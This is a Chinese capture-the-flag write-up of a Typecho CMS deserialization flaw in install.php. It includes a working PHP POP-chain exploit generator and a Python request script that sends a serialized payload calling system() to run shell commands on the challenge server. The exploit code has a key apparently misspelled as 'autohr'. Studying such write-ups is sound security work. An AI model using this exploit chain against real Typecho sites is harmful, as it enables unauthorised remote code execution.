[GKCTF 2020]ez三剑客-eztypecho

[GKCTF 2020]ez三剑客-eztypecho

考点:Typecho反序列化漏洞

打开题目,发现是typecho的CMS

在这里插入图片描述

尝试跟着创建数据库发现不行,那么就搜搜此版本的相关信息发现存在反序列化漏洞 参考文章

跟着该文章分析来,首先找到install.php,看向下面代码

<?php if (isset($_GET['finish'])) : ?>
//省略部分代码<?phpif(!isset($_SESSION)) { die('no, you can\'t unserialize it without session QAQ');}$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));Typecho_Cookie::delete('__typecho_config');$db = new Typecho_Db($config['adapter'], $config['prefix']);$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);Typecho_Db::set($db);?>
<?php endif; ?>

如果有GET传参finish,则进入下面代码,如果有session值,那么unserialize函数反序列化,我们跟进到Typecho_Cookie::get()

发现在/var/Typecho/Cookie.php

public static function get($key, $default = NULL)
{$key = self::$_prefix . $key;$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);return is_array($value) ? $default : $value;
}

可以知道__typecho_config就是我们传参的$key(也就是参数名)

注意$value的赋值逻辑,如果cookie存在key参数,那么该参数值赋值给$value

$value = $_COOKIE[$key] ;

如果cookie不存在key参数,那么进行第二步判断

$value = (isset($_POST[$key]) ? $_POST[$key] : $default);

同理如果存在key,则将POST传参key的参数值赋给$value

所以cookie传参或者post传参都行

回到install.php,发现存在Typecho_Db类的调用

$db = new Typecho_Db($config['adapter'], $config['prefix']);

跟进到/var/Typecho/Db.php去看看实例化的过程

public function __construct($adapterName, $prefix = 'typecho_')
{/** 获取适配器名称 */$this->_adapterName = $adapterName;/** 数据库适配器 */$adapterName = 'Typecho_Db_Adapter_' . $adapterName;if (!call_user_func(array($adapterName, 'isAvailable'))) {throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");}$this->_prefix = $prefix;/** 初始化内部变量 */$this->_pool = array();$this->_connectedPool = array();$this->_config = array();//实例化适配器对象$this->_adapter = new $adapterName();
}

不难发现$adapterName可控,也就是install.php中的$config,往下看发现出现字符串拼接,因此可以触发__toString魔术方法

我们在/var/Typecho/Feed.php找到toString()方法

public function __toString()
{$result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;if (self::RSS1 == $this->_type) {//省略部分代码} else if (self::RSS2 == $this->_type) {foreach ($this->_items as $item) {$content .= '<item>' . self::EOL;$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;$content .= '<link>' . $item['link'] . '</link>' . self::EOL;$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;//给师傅们减轻负担QAQ,要加上$item['category'] = array(new Typecho_Request());和$this->_type防止500$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;if (!empty($item['category']) && is_array($item['category'])) {foreach ($item['category'] as $category) {$content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL;}}//省略部分代码
}

如果self::RSS2 == $this->_type为真,那么$item['author']->screenName会调用screenName属性,如果author为对象,且不存在该属性则可以调用_get()方法

我们跟进到/var/Typecho/Request.php

public function __get($key)
{return $this->get($key);
}

传入$key(也就是screenName),然后调用自己的get方法

public function get($key, $default = NULL)
{switch (true) {case isset($this->_params[$key]):$value = $this->_params[$key];break;case isset(self::$_httpParams[$key]):$value = self::$_httpParams[$key];break;default:$value = $default;break;}$value = !is_array($value) && strlen($value) > 0 ? $value : $default;return $this->_applyFilter($value);
}

大概意思就是给$value赋值,返回_applyFilter($value);,至于这里switch选择的是isset($this->_params[$key]),因为这个是可控的,而$_httpParams是false不可控(这些都可以在源码找到)

继续跟进到_applyFilter()

private function _applyFilter($value)
{if ($this->_filter) {foreach ($this->_filter as $filter) {$value = is_array($value) ? array_map($filter, $value) :call_user_func($filter, $value);}$this->_filter = array();}return $value;
}

可以发现存在call_user_func()函数命令执行,我们知道_filter可控,也就是说通过_filter_params来实现RCE

所以pop链逻辑如下

//提供传参前提
Typecho_Cookie::get()
//命令执行链子
Typecho_Db::__construct() -> Typecho_Feed::toString() -> Typecho_Request::__get() -> Typecho_Request::get()

而Typecho_Db类的实例化已经帮我们实施了,所以我们只需要构造后面的

这里items[]数组我们就不用源码中的

public function addItem(array $item)
{$this->_items[] = $item;
}

我们直接自己实例化就行

exp如下

<?php
class Typecho_Feed{const RSS2 = 'RSS 2.0';private $_type;private $_items=array();public function __construct(){$this->_type=$this::RSS2;$this->_items[]=array("autohr" => new Typecho_Request(),"category" => array(new Typecho_Request()));}
}class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'cat /flag';  $this->_filter[0] = 'system';}}
$a=new Typecho_Feed();
$b=array("adapter" => $a,"prefix" => "typecho_"
);
echo base64_encode(serialize($b));

得到payload后解决如何构造session,用的是PHP中的特性PHP_SESSION_UPLOAD_PROGRESS

利用session.upload_progress,可以将上传的文件信息保存在session中,从而实现构造session

脚本如下

import requests
url='http://node4.anna.nssctf.cn:28256/install.php?finish=1'
files={"file":"123"
}
headers={"Cookie":"__typecho_lang=zh_CN;PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjY6ImF1dG9ociI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo0OiJscyAvIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX1zOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjQ6ImxzIC8iO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==","Referer":"http://node4.anna.nssctf.cn:28256/install.php"
}req=requests.post(url,files=files,headers=headers,data={"PHP_SESSION_UPLOAD_PROGRESS":"123456"})
print(req.text)

我们通过POST上传PHP_SESSION_UPLOAD_PROGRESS使得将上传文件信息保存到session,上传的文件就是files

不过这里环境好像有点问题,没有flag

在这里插入图片描述

另外一个触发思路

因为get传参start处也有一个反序列化,所以也可以用那个打

要满足2个条件即可:

  1. $_GET[‘start’] 参数不为空
  2. Referer 必须是本站

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/592477.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

grep -A -B -C 输出匹配行及相邻行

grep -A -B -C 输出匹配行及相邻行 grep --help 摘抄&#x1f447; 文件控制&#xff1a; -B, --before-context数值 打印前面 <数值> 行上下文-A, --after-context数值 打印后面 <数值> 行上下文-C, --context数值 打印前后 <数值> 行上下文 文件控制&#…

python小工具之弱密码检测工具

一、引用的python模块 Crypto&#xff1a; Python中一个强大的加密模块&#xff0c;提供了许多常见的加密算法和工具。它建立在pyc.ypodome或pyc.ypto等底层加密库之上&#xff0c;为Python程序员提供了简单易用的API&#xff0c;使其可以轻松地实现各种加密功能。 commands…

STM32MP157D-DK1 Qt程序交叉编译与运行测试

上篇文章介绍了STM32MP157D-DK1开发板Qt镜像的构建&#xff0c;通过在Ubuntu中重新编译带有Qt功能的系统来实现。 本篇在上篇的基础上&#xff0c;继续搭建Qt的交叉编译环境&#xff0c;实现Qt程序在Ubuntu中编译&#xff0c;在STM32MP157板子中运行。 1 编译安装SDK 在上篇…

计算机组成原理-总线的性能指标

文章目录 总览总线周期 总线时钟周期 总线工作频率 总线时钟频率总线宽度 总线带宽例题串行总线和并行总线的速度&#xff08;带宽&#xff09;比较总线复用 信号线数总结 总览 总线周期 总线时钟周期 总线工作频率 总线时钟频率 一个总线周期就是指利用总线传输一组数据需要的…

C#线程基础(线程启动和停止)

目录 一、关于线程 二、示例 三、生成效果 一、关于线程 在使用多线程前要先引用命名空间System.Threading&#xff0c;引用命名空间后就可以在需要的地方方便地创建并使用线程。 创建线程对象的构造方法中使用了ThreadStart()委托&#xff0c;当线程开始执行时&#xff0c…

LeetCode第32题 : 最长有效括号

题目介绍 给你一个只包含 ( 和 ) 的字符串&#xff0c;找出最长有效&#xff08;格式正确且连续&#xff09;括号子串的长度。 示例 1&#xff1a; 输入&#xff1a;s "(()" 输出&#xff1a;2 解释&#xff1a;最长有效括号子串是 "()" 示例 2&#xf…

springCould中的Hystrix【上】-从小白开始【7】

目录 1.简单介绍❤️❤️❤️ 2.主要功能 ❤️❤️❤️ 3.正确案例❤️❤️❤️ 4.使用jmeter压测 ❤️❤️❤️ 5.建模块 80❤️❤️❤️ 6.如何解决上面问题 ❤️❤️❤️ 7.对8001进行服务降级❤️❤️❤️ 8.对80进行服务降级 ❤️❤️❤️ 9.通用降级方法❤️❤️…

1.2 day2 IO进程线程

使用fread、fwrite完成文件拷贝 #include <myhead.h> int main(int argc, const char *argv[]) {if(argc!3){printf("参数有误");}//定义并以只写的方式打开两个文件FILE *fpNULL;FILE *cfpNULL;if((fpfopen(argv[1],"w"))NULL){perror("fopen…

学习Vue单文件组件总结

今天主要学习了组件实例对象的一个重要内置关系和单文件组件。先说一下实例对象的内置关系&#xff0c;在这里要对JS中的原型链有一定的基础&#xff0c;Vue构造函数的prototype原型指向的是Vue的原型对象&#xff0c;new出来的Vue实例对__proto__同样指向的是Vue的原型对象&am…

harbor自建san证书

1.创建证书存放目录 mkdir -p /opt/harbor/harbor/cert && cd /opt/harbor/harbor/cert 2.拷贝openssl配置文件 cp /etc/pki/tls/openssl.cnf /opt/harbor/harbor/cert 3.编辑拷贝出来的openssl配置文件 vi openssl.cnf [ CA_default ] copy_extensions copy …

异地环控设备如何远程维护?贝锐蒲公英解决远程互联难题

青岛某企业致力于孵化设备、养禽设备和养猪设备的研发、生产和服务&#xff0c;历经三十多年发展&#xff0c;目前已成长为行业主要的养殖装备及工程服务提供商&#xff0c;产品覆盖养殖产业链中绝大多数环节&#xff0c;涉及自动化设备、环控设备、整体解决方案等。 在实际应用…

基于Rangenet Lib的自动驾驶LiDAR点云语义分割与可视化

这段代码是一个C程序&#xff0c;用于处理来自KITTI数据集的激光雷达&#xff08;LiDAR&#xff09;扫描数据。程序主要实现以下功能&#xff1a; 1. **读取和解析命令行参数**&#xff1a;使用Boost库中的program_options模块来定义和解析命令行参数。这包括扫描文件路径、模型…

docker安装postgresql15或者PG15

1. 查询版本 docker search postgresql docker pull postgres:15.3 # 也可以拉取其他版本2.运行容器并挂载数据卷 mkdir -p /data/postgresql docker run --name postgres \--restartalways \-e POSTGRES_PASSWORDpostgresql \-p 5433:5432 \-v /data/postgresql:/var/lib/p…

计算机网络-以太网交换基础

一、网络设备的演变 最初的网络在两台设备间使用传输介质如网线等进行连接就可以进行通信。但是随着数据的传输需求&#xff0c;多个设备需要进行数据通信时就需要另外的设备进行网络互联&#xff0c;并且随着网络传输的需求不断更新升级。从一开始的两台设备互联到企业部门内部…

Nginx多ip部署多站点

目录 1.修改网卡配置信息 2.修改主要配置文件nginx.conf 1.修改网卡配置信息 1)来到网卡配置文件存放目录下 cd /etc/sysconfig/network-scripts/ 2)对 ifcfg-ens33 文件进行配置修改前先进行备份 cp ifcfg-ens33 ifcfg-ens33.default 3)先修改成最小配置&#xff0c;使用 d…

在线H5网页版植物大战僵尸游戏源代码

源码介绍 HTML5植物大战僵尸网页版游戏源码&#xff0c;直接把源码上传到服务器就能使用和访问

裁员+失恋或许不能比这更遭了,敬一塌糊涂与充满感动的2023,也敬曾经的挚爱与寒冬的冰霜

~ 随机抽取评论区的 3位 小伙伴送上精美礼品 ~ 参与方式&#xff1a;关注、点赞、收藏&#xff0c;评论 "2024&#xff0c;一天当做两天卷&#xff01;" 活动时间&#xff1a;截止到 2024-01-21 00:00:00 礼品清单&#xff1a;CSDN活动周边、自选图书 本文目录 序 …

React实现拖拽效果

基于 React 的拖拽效果 Demo 一个基于 React 的拖拽功能实现的 Demo. 两个关键点 1, draggable 属性 2, drag 事件 draggable 属性 img 标签默认是支持拖拽的, 当时其他 HTML 标签, 想要其拖动的话, 需要为其添加 draggable“true” 属性 drag 事件 drag 相关的事件有:…

C++ STL set用法详解

我们都知道&#xff0c;set是STL里的一种数据结构&#xff0c;这篇博客就是set用法的详解。 1.set的创建。 set初始化一般是 set<数据结构名称> 名字; 具体例子&#xff1a; 创建一个int型&#xff0c;名称是s的set。 set<int> s; set还可以创建STL里的数据…

Element-ui自定义input框非空校验

1、vue自定义非空指令&#xff1a; main.js中自定义非空指令 当input框或下拉框中数据更新时&#xff0c;触发校验 Vue.directive(isEmpty,{update:function(el,binding,vnode){if(vnode.componentInstance.value""){el.classList.add("is-required");}e…